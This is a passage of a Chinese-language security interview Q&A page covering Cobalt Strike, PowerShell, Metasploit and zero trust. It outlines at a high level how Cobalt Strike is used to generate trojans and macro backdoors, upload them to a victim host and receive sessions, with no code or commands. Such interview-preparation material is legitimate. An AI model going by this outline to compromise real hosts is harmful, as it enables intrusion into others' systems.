CobaltStrike是一款渗透测试工具,被业界人称为CS。CobaltStrike分为客户端与服务端,服务端是一个,客户端可以有多个,可用于团队分布式协同操作。
CobaltStrike 集成了端口转发,服务扫描,自动化溢出,多模式端口监听,windows exe 木 马生成,windows dll 木马生成,java 木马生成,office 宏病毒生成,木马捆绑。钓鱼攻击等功能。
一般使用步骤就是,先启动服务端,然后启动客户端连接获得一个可视化的界面,新建监听器来接收会话,生成木马文件(常见.exe可执行文件,office宏病毒,html应用程序类型的后门文件),上传到受害者主机,当受害者运行该木马文件时目标主机就在CS上线了。
9.Powershell了解过吗?
PowerShell 是一种命令行外壳程序和脚本环境,主要用于Windows计算机方便管理员进行系统管理并有可能在未来取代Windows上的默认命令提示符。PowerShell脚本因其良好的功能特性常用于正常的系统管理和安全配置工作。wd ls cd mkdir rm
10.MSF是什么?知道怎么使用吗?
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程。
11.命令行工具用的什么比较多?
xshell、xftp、finalshell
自我面试题
1.零信任安全是什么
零信任的核心是“从不信任,始终验证”和“最小权限原则”
参考文章:
https://zhuanlan.zhihu.com/p/631655941
https://xz.aliyun.com/news/13923
https://www.cnblogs.com/hellobao/articles/17308109.html
https://www.cnblogs.com/dgs1mple/p/16000332.html#3Linux_46
https://www.cnblogs.com/candada/p/17281794.html
https://blog.csdn.net/2402_84408069/article/details/148386805

浙公网安备 33010602011771号